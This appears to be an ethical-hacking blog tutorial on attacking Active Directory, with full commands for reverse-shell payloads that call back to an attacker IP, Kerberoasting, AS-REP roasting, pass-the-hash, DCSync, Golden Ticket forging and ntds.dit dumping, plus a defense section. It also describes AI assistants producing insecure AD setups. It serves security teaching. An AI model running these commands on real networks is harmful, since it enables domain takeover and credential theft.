Learn Ethical Hacking (#33) - Active Directory Attacks - The Crown Jewels

What will I learn

What Active Directory is and why it is the single most valuable target in enterprise networks;
AD enumeration -- mapping users, groups, computers, trusts, and GPOs with BloodHound and PowerView;
Kerberoasting -- extracting service account password hashes without admin privileges;
AS-REP Roasting -- attacking accounts that do not require pre-authentication;
Pass-the-Hash and Pass-the-Ticket -- moving laterally without knowing plaintext passwords;
DCSync -- extracting all domain password hashes by impersonating a domain controller;
Golden and Silver Tickets -- forging Kerberos tickets for unlimited persistence;
Defense: tiered administration, LAPS, Protected Users group, Credential Guard.

Requirements

A working modern computer running macOS, Windows or Ubuntu;
Your hacking lab from Episode 2 (Windows AD environment);
Understanding of Windows privilege escalation from Episode 32;
The ambition to learn ethical hacking and security research.

Difficulty

Intermediate/Advanced

Curriculum (of the `Learn Ethical Hacking` series):

Solutions to Episode 32 Exercises

Exercise 1: Three Windows privesc paths.

# Path 1: Unquoted service path
# Service: VulnSvc -> C:\Program Files\Vuln App\service.exe (unquoted)
# Writable: C:\Program Files\Vuln App\
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o Vuln.exe
copy Vuln.exe "C:\Program Files\Vuln.exe"
sc stop VulnSvc && sc start VulnSvc
# Reverse shell as SYSTEM

# Path 2: AlwaysInstallElevated
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f msi -o evil.msi
msiexec /quiet /qn /i evil.msi
# SYSTEM shell via MSI install

# Path 3: Writable service binary directory
sc stop TargetSvc
move "C:\Services\app.exe" "C:\Services\app.exe.bak"
copy payload.exe "C:\Services\app.exe"
sc start TargetSvc
# SYSTEM shell via replaced binary

Each exploits a different Windows misconfiguration. In real engagements, the unquoted service path is the most common find, AlwaysInstallElevated is the most devastating, and writable service directories require the most reconnaissance to identify.

Exercise 2: WinPEAS top findings analysis.

Top 5 most useful WinPEAS findings:
1. Unquoted service paths (immediate exploit potential)
2. AlwaysInstallElevated registry keys
3. Stored credentials (cmdkey /list)
4. Modifiable services (weak DACLs)
5. Autologon credentials in registry

Immediately exploitable: #1, #2, #4 (if service runs as SYSTEM)
Informational: patch level, installed software, network config,
AV status, PowerShell history location

Exercise 3: PrintSpoofer mechanism.

PrintSpoofer exploits the Windows Print Spooler service's named
pipe impersonation. It creates a named pipe server, triggers the
Print Spooler to connect to it (via SpoolSS), and then
impersonates the connecting client's token -- which is SYSTEM.

Requires SeImpersonatePrivilege because the Windows API call
ImpersonateNamedPipeClient() checks for this privilege.

vs JuicyPotato: JuicyPotato abuses COM/DCOM (BITS, CLSID) and
requires a valid CLSID -- many CLSIDs were patched/removed in
Windows 10 1809+. PrintSpoofer uses Print Spooler instead, which
is enabled by default on all Windows versions and cannot be
easily disabled without breaking printing.

PrintSpoofer works on: Windows 10/11, Server 2016/2019/2022
JuicyPotato: broken on Windows 10 1809+ and Server 2019+

Learn Ethical Hacking (#33) - Active Directory Attacks - The Crown Jewels

Two episodes of privilege escalation down. You have escalated to SYSTEM on a Windows machine. You own one computer. Congratulations -- in an enterprise with 5,000 workstations and 200 servers, you now control 0.02% of the network.

That is not good enough.

Active Directory changes the equation entirely. AD is the centralized identity and access management system that runs 95%+ of enterprise networks worldwide. It manages every user, every group, every computer, every Group Policy, and every authentication decision in the organization. If Linux privilege escalation was about owning one box (episode 31) and Windows privilege escalation was about getting SYSTEM on that box (episode 32), then Active Directory attacks are about going from that one machine to owning THE ENTIRE DOMAIN. Every user. Every server. Every secret. Every password hash in the organization.

In a pentest, the path is always the same: initial access -> local privesc -> AD enumeration -> domain escalation -> Domain Admin. Once you reach Domain Admin, the engagement is effectively over. You control the domain controller, the NTDS.dit database, the Group Policies that push to every machine, and the Kerberos infrastructure that authenticates every user. That is total organizational compromise.

Having said that, getting to Domain Admin is not always a straight line. Sometimes it takes three or four hops. Sometimes you need to chain multiple AD misconfigurations together, each one getting you slightly closer. The key (as always in this series) is enumeration. You cannot exploit what you do not understand.

AD Fundamentals for Attackers

Before we start breaking things, you need to understand what Active Directory actually IS at a structural level. AD is built on a handful of concepts that every attacker needs to know:

Domain -- a logical grouping of objects (users, computers, groups) that share a common directory database and security policies. Think of it as the "organization boundary."
Domain Controller (DC) -- the server that hosts the AD database (ntds.dit) and handles all authentication. This is the crown jewel. Compromise the DC and you compromise everything.
Forest -- one or more domains that share a common schema and trust relationships. Large organizations often have multiple domains in a single forest.
Kerberos -- the authentication protocol AD uses. Understanding Kerberos is NOT optional for AD attacks -- nearly every technique in this episode exploits some aspect of how Kerberos works.
LDAP -- the protocol used to query the AD database. Any authenticated user can run LDAP queries.
Group Policy Objects (GPOs) -- policies pushed from the DC to all domain-joined machines. GPOs control everything from password policies to software installation to firewall rules.

Here is the critical insight that makes AD attacks so powerful: any authenticated domain user can query the entire directory. You do not need admin privileges. You do not need special permissions. A standard user account -- the helpdesk intern's account, the receptionist's account, ANY account -- is enough to enumerate every user, every group, every computer, every trust relationship, and every Group Policy in the domain. The directory is designed to be readable by all authenticated users because that's how Windows networking works (computers need to look up service accounts, users need to find printers, applications need to discover servers).

This is not a bug. This is a design decision from the 1990s that has become one of the most exploited features in modern enterprise security ;-)

Kerberos: How AD Authentication Works

You cannot attack what you don't understand, so let me walk through how Kerberos authentication works in AD. This is the foundation for every attack in this episode:

Client                    KDC (Domain Controller)         Service

  |-- AS-REQ (I am user) ------>|                            |
  |<-- AS-REP (here's a TGT) --|                            |
  |                             |                            |
  |-- TGS-REQ (I need access) ->|                            |
  |<-- TGS-REP (here's a TGS) -|                            |
  |                             |                            |
  |-- AP-REQ (here's my ticket) --------------------------->|
  |<-- AP-REP (access granted) ----------------------------|

Step by step:

AS-REQ: The client sends an Authentication Service Request to the Key Distribution Center (which lives on the Domain Controller). This includes the username and a timestamp encrypted with the user's password hash. This encrypted timestamp is the pre-authentication step.
AS-REP: If the timestamp decrypts correctly (proving the user knows the password), the KDC returns a Ticket Granting Ticket (TGT). The TGT is encrypted with the krbtgt account's hash -- a special service account that only the KDC knows.
TGS-REQ: When the user wants to access a specific service (file share, SQL server, web app), they present their TGT and request a Ticket Granting Service (TGS) ticket for that service.
TGS-REP: The KDC validates the TGT and returns a service ticket encrypted with the service account's password hash.
AP-REQ/AP-REP: The client presents the service ticket to the target service for access.

Every attack in this episode exploits a specific step in this flow. Kerberoasting exploits step 4 (the service ticket is encrypted with a crackable hash). AS-REP Roasting exploits step 1 (skipping pre-authentication). Golden Tickets forge the TGT from step 2. Silver Tickets forge the service ticket from step 4. DCSync bypasses the whole thing by requesting password hashes directly through Active Directory replication.

AD Enumeration with BloodHound

BloodHound is, without exaggeration, the single most important Active Directory attack tool ever created. It maps the relationships between users, groups, computers, sessions, and permissions to find attack paths from your current position to Domain Admin. Paths that no human could manually discover.

# On your attack machine: start BloodHound
sudo neo4j start
bloodhound &

# On the compromised machine: run SharpHound collector
# https://github.com/BloodHoundAD/SharpHound
.\SharpHound.exe --CollectionMethods All --Domain corp.local

# This generates a ZIP file -- transfer it to your attack machine
# Import into BloodHound via the Upload button

BloodHound answers the question every pentester asks after getting initial access: "Given where I am right now, what is the shortest path to Domain Admin?" It finds chains of misconfigurations that are invisible to manual enumeration. Example: user A is local admin on machine B, where user C has an active session, and user C is a member of group D, which has GenericAll permissions on the Domain Admins group. Four hops. Completely invisible if you're just running net group "Domain Admins" and staring at the output.

The graph database (Neo4j) is what makes this possible. BloodHound doesn't just show you WHO is a Domain Admin -- it shows you every possible PATH to becoming one. Sometimes there are hundreds of paths. Sometimes there's just one. Either way, you would never find them manually.

PowerView -- Manual AD Enumeration

When you need surgical precision instead of BloodHound's broad sweep, PowerView gives you direct control over LDAP queries:

# Import PowerView
Import-Module .\PowerView.ps1

# Enumerate all domain users (with descriptions -- admins love
# putting passwords in the description field, seriously)
Get-DomainUser | Select-Object samaccountname, description, memberof

# Find Domain Admins
Get-DomainGroupMember -Identity "Domain Admins"

# Find computers where current user has local admin access
Find-LocalAdminAccess

# Find where Domain Admins are logged in RIGHT NOW
Find-DomainUserLocation -UserGroupIdentity "Domain Admins"

# Enumerate Group Policy Objects
Get-DomainGPO | Select-Object displayname, gpcfilesyspath

# Find shares accessible by current user
Find-DomainShare -CheckShareAccess

# Enumerate trust relationships between domains
Get-DomainTrust

# Find service accounts with SPNs (Kerberoasting targets)
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname

That Find-DomainUserLocation command is absolute gold. It tells you exactly which machines have Domain Admin sessions active right now. Compromise that machine, steal the token or hash from memory (using the mimikatz techniques we covered in episode 32), and you are Domain Admin. This "session hunting" approach is the most common real-world AD attack path I've seen. You don't need a single vulnerability -- just the ability to move laterally to the right machine at the right time.

And the description field thing? I'm not joking. I have personally seen production Domain Admin accounts with the password literally written in the account description. "Password: Winter2023!" right there in LDAP for any authenticated user to read. It's depressing and hilarious in equal measure ;-)

Kerberoasting

Kerberoasting exploits a fundamental aspect of how Kerberos handles service tickets. Remember step 4 from the Kerberos flow above: when you request a service ticket, the KDC encrypts it with the service account's password hash. Any authenticated user can request a service ticket for any service in the domain. The KDC doesn't check whether you're actually going to USE the service -- it just hands you the ticket.

So you request the ticket, extract it, and crack the password hash offline. No network interaction needed after the initial request. No failed login attempts logged against the service account.

# Using Rubeus (https://github.com/GhostPack/Rubeus)
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Or using GetUserSPNs.py from Impacket (from Linux attack machine)
GetUserSPNs.py corp.local/jsmith:Password123 -request -outputfile hashes.txt

# Crack with hashcat (GPU-accelerated)
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

Why this is so devastating: service accounts are the forgotten children of Active Directory. They get created for the MSSQL server in 2015, for the backup agent in 2017, for the monitoring tool in 2019. Nobody rotates their passwords. Nobody reviews their group memberships. And somewhere along the way, somebody added the SQL service account to Domain Admins because "the application needs full database access" and the admin couldn't be bothered to figure out the actual minimum permissions required.

The attack requires ZERO elevated privileges. Any domain user can Kerberoast. This is by design -- Kerberos was not built to protect service account passwords from offline cracking. The protocol architects assumed service account passwords would be long and random. The reality is that they're SQLServer2015! and haven't been changed in a decade.

I've done Kerberoasting on probably 80% of the AD engagements I've been involved with, and it returns crackable hashes roughly half the time. The other half have either deployed Group Managed Service Accounts (which auto-rotate 120-character passwords) or have service accounts with genuinely strong passwords. The split is getting better over the years, but slowly.

AS-REP Roasting

AS-REP Roasting targets accounts that have the "Do not require Kerberos preauthentication" flag enabled. Remember step 1 in the Kerberos flow: normally the client must encrypt a timestamp with their password hash to prove they know the password BEFORE the KDC issues a TGT. This is pre-authentication.

If pre-authentication is disabled for an account, anyone can request an AS-REP for that user without proving they know the password. The response contains material encrypted with the user's password hash, which you can then crack offline.

# From Linux with Impacket -- try a list of usernames
GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -outputfile asrep.txt

# From Windows with Rubeus
.\Rubeus.exe asreproast /outfile:asrep.txt

# Crack with hashcat
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

"Why would anyone disable pre-authentication?" I hear you asking. Excellent question. The usual answers: legacy applications that can't handle preauthentication (old Kerberos implementations from the early 2000s), administrators who Googled the error message "KDC_ERR_PREAUTH_REQUIRED" and the first Stack Overflow answer said "disable preauthentication." Sound familiar from episode 6? The AI slop pattern applies here too -- the "fix" works but creates a gaping security hole that nobody realizes is there until a pentester finds it.

AS-REP Roasting is less common than Kerberoasting (fewer accounts have preauthentication disabled than have SPNs), but when you find one, the impact is identical: offline password cracking against a potentially privileged account.

Pass-the-Hash and Pass-the-Ticket

Once you have a hash (from mimikatz, from a SAM dump, from DCSync, from Kerberoasting), you do NOT need to crack it. Windows NTLM authentication accepts the hash directly. The hash IS the credential.

# Pass-the-Hash with Impacket (Linux -> Windows)
psexec.py -hashes :NTLM_HASH corp.local/administrator@dc01.corp.local

# Pass-the-Hash with evil-winrm
evil-winrm -i dc01.corp.local -u administrator -H NTLM_HASH

# Pass-the-Hash with CrackMapExec (test across multiple machines)
crackmapexec smb 192.168.1.0/24 -u administrator -H NTLM_HASH

Pass-the-Hash works because NTLM authentication was designed around the hash, not the plaintext password. The client proves it knows the password by computing an NTLM response using the hash as the key. If you already have the hash, you can compute the same response. This has been exploited for over 20 years and Microsoft has STILL not fundamentally fixed it -- they can't, because NTLM backwards compatibility is baked into everything. They've been trying to deprecate NTLM in favor of Kerberos-only authentication, but the transition is glacially slow because thousands of legacy applications depend on NTLM.

Pass-the-Ticket is the Kerberos equivalent. If you steal a Kerberos TGT from memory (using mimikatz sekurlsa::tickets /export as we covered in episode 32), you can import it into your session and authenticate as that user:

# Inject a stolen Kerberos ticket into current session
.\Rubeus.exe ptt /ticket:kirbi_file.kirbi

# Verify the ticket is loaded
klist

# Now your session uses the imported ticket
# Access resources as the ticket's owner
dir \\dc01.corp.local\c$

CrackMapExec (now called NetExec) is particularly terrifying with pass-the-hash because it lets you spray a single hash across an entire subnet in seconds. One command, and you know exactly which machines that hash works on. If the local administrator password is the same across the domain (which, without LAPS, it often is), one hash gives you SYSTEM on every machine. We talked about LAPS in episode 32 -- this is exactly why it matters.

DCSync -- Becoming the Domain Controller

DCSync is the endgame attack. If you have an account with Replicating Directory Changes and Replicating Directory Changes All privileges (Domain Admins have these by default), you can impersonate a Domain Controller and request the password hash for ANY account in the domain through the normal AD replication protocol.

# From Linux with Impacket's secretsdump
secretsdump.py corp.local/admin:Password@dc01.corp.local

# Or dump just the krbtgt hash (the crown jewel)
secretsdump.py corp.local/admin:Password@dc01.corp.local -just-dc-user krbtgt

# From Windows with mimikatz
mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt
mimikatz# lsadump::dcsync /domain:corp.local /all /csv

What makes DCSync elegant is that it uses the legitimate Active Directory replication protocol (MS-DRSR). Domain Controllers replicate their databases to each other all the time -- that's how AD stays synchronized across multiple DCs. Your attack looks exactly like normal replication traffic. Unless the defender is specifically monitoring for DCSync (event ID 4662 with specific GUIDs), they won't see it.

DCSync extracts the krbtgt hash. This is the single most sensitive secret in Active Directory. The krbtgt account encrypts every Ticket Granting Ticket in the domain. With this hash, you can forge Golden Tickets. And with Golden Tickets, the domain is yours permanently.

Golden and Silver Tickets

A Golden Ticket is a forged Kerberos TGT. Because you have the krbtgt hash (from DCSync), you can create a TGT for any user -- including users that don't exist -- with any group memberships you want. This ticket is valid for 10 years by default.

# Create a Golden Ticket with mimikatz
mimikatz# kerberos::golden /user:fakeadmin /domain:corp.local `
    /sid:S-1-5-21-1234567890-1234567890-1234567890 `
    /krbtgt:KRBTGT_NTLM_HASH /ptt

# You now have a Kerberos ticket for "fakeadmin" who is
# a member of Domain Admins, Enterprise Admins, Schema Admins
# This user does NOT need to exist in Active Directory.

# Verify
klist
dir \\dc01.corp.local\c$
# Full access to the Domain Controller

Let that sink in. You just created a ticket for a user that does not exist in the directory. The KDC trusts this ticket because it's encrypted with the correct krbtgt hash. The DC can't distinguish your forged ticket from a legitimate one. You are a Domain Admin who doesn't show up in net group "Domain Admins" -- invisible persistence.

A Silver Ticket is similar but forges a service ticket (TGS) instead of a TGT. You use a service account's NTLM hash to forge tickets for that specific service. Less powerful than a Golden Ticket (only works for one service) but harder to detect because the forged ticket never touches the Domain Controller -- it goes directly to the target service.

# Silver Ticket for CIFS (file sharing) on a specific server
mimikatz# kerberos::golden /user:fakeadmin /domain:corp.local `
    /sid:S-1-5-21-1234567890-1234567890-1234567890 `
    /target:fileserver.corp.local /service:cifs `
    /rc4:SERVICE_ACCOUNT_HASH /ptt

Golden Tickets survive password resets. If the defender resets every user password in the domain, your Golden Ticket still works. Because the ticket is encrypted with the krbtgt hash, not any user's hash. The ONLY way to invalidate a Golden Ticket is to reset the krbtgt password -- and it must be reset TWICE because Active Directory keeps the previous krbtgt hash for backwards compatibility (allowing tickets encrypted with the old hash to still work during the rollover period). Reset it once and the old hash becomes the "previous" hash, which is still valid. Reset it twice and the original hash is gone.

This is the ultimate persistence mechanism. Even after a full incident response -- every user password reset, every machine reimaged, every service account rotated -- if they forget to reset krbtgt twice, the attacker walks back in with the same Golden Ticket. I've seen this happen in real incident response engagements. The defender thinks they've cleaned up. They haven't.

NTDS.dit -- The Full Database

If you prefer the direct approach, the ntds.dit file on the Domain Controller contains every password hash in the domain. With SYSTEM access to the DC (which you have via Golden Ticket, DCSync, or direct exploitation), you can extract it:

# Create a shadow copy of the system drive (needed because ntds.dit
# is locked by the AD DS service)
vssadmin create shadow /for=C:

# Copy ntds.dit and SYSTEM registry hive from the shadow
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\

# Extract hashes offline
secretsdump.py -ntds C:\temp\ntds.dit -system C:\temp\SYSTEM LOCAL

This gives you EVERY hash. Every user. Every service account. Every computer account. The entire identity infrastructure of the organization in one file. From here, you can pass-the-hash to any machine, crack passwords at your leisure, or forge tickets for any service.

Defense: Protecting Active Directory

The defense section for AD is longer than usual because the attack surface is massive:

# 1. Tiered administration model
# Tier 0: Domain Controllers and AD management accounts
# Tier 1: Servers and application admin accounts
# Tier 2: Workstations and helpdesk accounts
# NEVER use a Tier 0 account on a Tier 1 or Tier 2 system
# If a DC admin checks email from a workstation, that workstation
# now has their credentials in memory. Game over.

# 2. Protected Users group -- prevents credential caching
Add-ADGroupMember -Identity "Protected Users" -Members "admin-t0"
# Members: no NTLM auth, no delegation, no cached credentials,
# Kerberos TGT lifetime reduced to 4 hours

# 3. LAPS -- unique local admin password per machine
# We covered this in episode 32 -- eliminates pass-the-hash
# lateral movement via shared local admin passwords

# 4. Group Managed Service Accounts (gMSA)
# Auto-rotated 120-character passwords -- immune to Kerberoasting
New-ADServiceAccount -Name "svc_sql" -DNSHostName "sql.corp.local" `
    -PrincipalsAllowedToRetrieveManagedPassword "SQL-Servers"

# 5. Reset krbtgt password TWICE (kills Golden Tickets)
# Use Microsoft's official script:
# https://github.com/microsoft/New-KrbtgtKeys.ps1
# Wait one TGT lifetime (10 hours default) between resets

# 6. Find and fix accounts without preauth
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}
# Set pre-authentication required for ALL accounts

# 7. Monitor for Kerberoasting and DCSync
# Event ID 4769: TGS request (high volume from one source = Kerberoasting)
# Event ID 4662: directory service access with specific GUIDs = DCSync
# Event ID 4768: TGT request without preauth = AS-REP roasting

# 8. Credential Guard (on all Tier 0 and Tier 1 systems)
# Virtualizes LSASS to prevent mimikatz credential dumping

The tiered administration model is the single most important AD defense and the one most organizations fail to implement. The concept is simple: Domain Admin credentials should NEVER touch a workstation. Not for email. Not for browsing. Not for "just quickly checking something." Every time a Tier 0 admin logs into a Tier 2 workstation, their credentials are cached in LSASS memory on that workstation. Compromise the workstation, dump LSASS, and you have Domain Admin credentials. The tier model prevents this by ensuring that high-privilege credentials only exist on high-security systems.

A part from tiered administration, gMSA (Group Managed Service Accounts) deserve special attention because they completely eliminate Kerberoasting. Traditional service accounts have static passwords set by humans -- passwords that are often weak and never rotated. gMSAs have automatically rotated, 120-character random passwords managed by AD itself. You literally cannot Kerberoast a gMSA because the password is too long and random to crack in any reasonable timespam. The problem: migrating existing service accounts to gMSA requires application testing and configuration changes, so many organizations defer it indefinitely. "It works, don't touch it" is the enemy of security, as always.

The AI Slop Connection

Active Directory configuration is one of the most complex areas in IT, and AI code assistants are spectacularly bad at it. Common AI-generated AD misconfigurations I keep seeing:

Adding service accounts to Domain Admins because "the application needs access to everything"
Disabling Kerberos pre-authentication "to fix authentication errors"
Setting static, weak passwords on service accounts and never documenting rotation schedules
Recommending that Domain Admin accounts be used for daily tasks "for convenience"
Suggesting * (wildcard) permissions on AD objects instead of specific delegated permissions
Configuring GPOs with overly broad scope because the AI doesn't understand OU targeting

The complexity of AD means administrators increasingly turn to AI for help. The AI generates configurations that work but are catastrophically insecure. A service account in Domain Admins with a weak password and no pre-authentication is a three-step path to total domain compromise: AS-REP roast the account, crack the hash, DCSync the entire domain. All from an unprivileged user. All because the AI's "solution" to a permissions error was to elevate everything to the maximum.

The Bigger Picture

With episode 33 complete, you now have the full post-exploitation chain. Web application attacks (episodes 1-28) got you initial access. Network attacks (29-30) gave you visibility into internal traffic. Linux privesc (31) and Windows privesc (32) gave you SYSTEM on individual machines. And now Active Directory attacks give you the entire organization.

This is the methodology that real pentesters follow. Every engagement, the same progression: foothold, privesc, AD enumeration, domain escalation, Domain Admin, report. The specific vulnerabilities change -- maybe it's SQL injection for the foothold, or a phishing email, or a VPN credential from a breach dump. But the AD attack chain is almost always the same: enumerate with BloodHound, Kerberoast the service accounts, crack the weak ones, move laterally, escalate to Domain Admin, DCSync for persistence.

The next episodes will expand beyond single-domain attacks. Once you control one domain, what about the domains it trusts? What about cloud infrastructure connected to the on-premises AD? What about hybrid environments where Azure AD synchronizes with on-prem? The attack surface keeps growing, and the techniques keep scaling. But every one of them builds on the fundamentals we covered today.

Exercises

Exercise 1: Build a minimal AD lab: one Windows Server as DC, two Windows 10 workstations joined to the domain. Create: a Domain Admin account, a service account with an SPN and weak password (for Kerberoasting), and a user with "Do not require Kerberos preauth" enabled (for AS-REP roasting). From a standard domain user on a workstation, perform both Kerberoasting and AS-REP roasting. Crack the hashes and document the full path to Domain Admin.

Exercise 2: Run BloodHound against your lab domain. Import the SharpHound data and answer: (a) what is the shortest path from your user to Domain Admin, (b) how many users have local admin on any machine, (c) are there any "derivative admin" paths (user A is admin on machine B where user C is logged in, and user C is Domain Admin). Screenshot the BloodHound graph for each finding.

Exercise 3: Perform a DCSync attack in your lab. Starting from a Domain Admin account, use secretsdump.py to extract the krbtgt hash. Then forge a Golden Ticket for a non-existent user with mimikatz. Verify: (a) you can access the DC with this forged ticket, (b) the forged user does not appear in AD when queried, (c) resetting the krbtgt password once does NOT invalidate the ticket, but resetting it twice does. Document the full attack chain and explain why two resets are needed.

Bedankt en tot de volgende keer!

Hive account@scipio

Learn Ethical Hacking (#33) - Active Directory Attacks - The Crown Jewels

Learn Ethical Hacking (#33) - Active Directory Attacks - The Crown Jewels

What will I learn

Requirements

Difficulty

Curriculum (of the Learn Ethical Hacking series):

Solutions to Episode 32 Exercises

Learn Ethical Hacking (#33) - Active Directory Attacks - The Crown Jewels

AD Fundamentals for Attackers

Kerberos: How AD Authentication Works

AD Enumeration with BloodHound

PowerView -- Manual AD Enumeration

Kerberoasting

AS-REP Roasting

Pass-the-Hash and Pass-the-Ticket

DCSync -- Becoming the Domain Controller

Golden and Silver Tickets

NTDS.dit -- The Full Database

Defense: Protecting Active Directory

The AI Slop Connection

The Bigger Picture

Exercises

Bedankt en tot de volgende keer!

Curriculum (of the `Learn Ethical Hacking` series):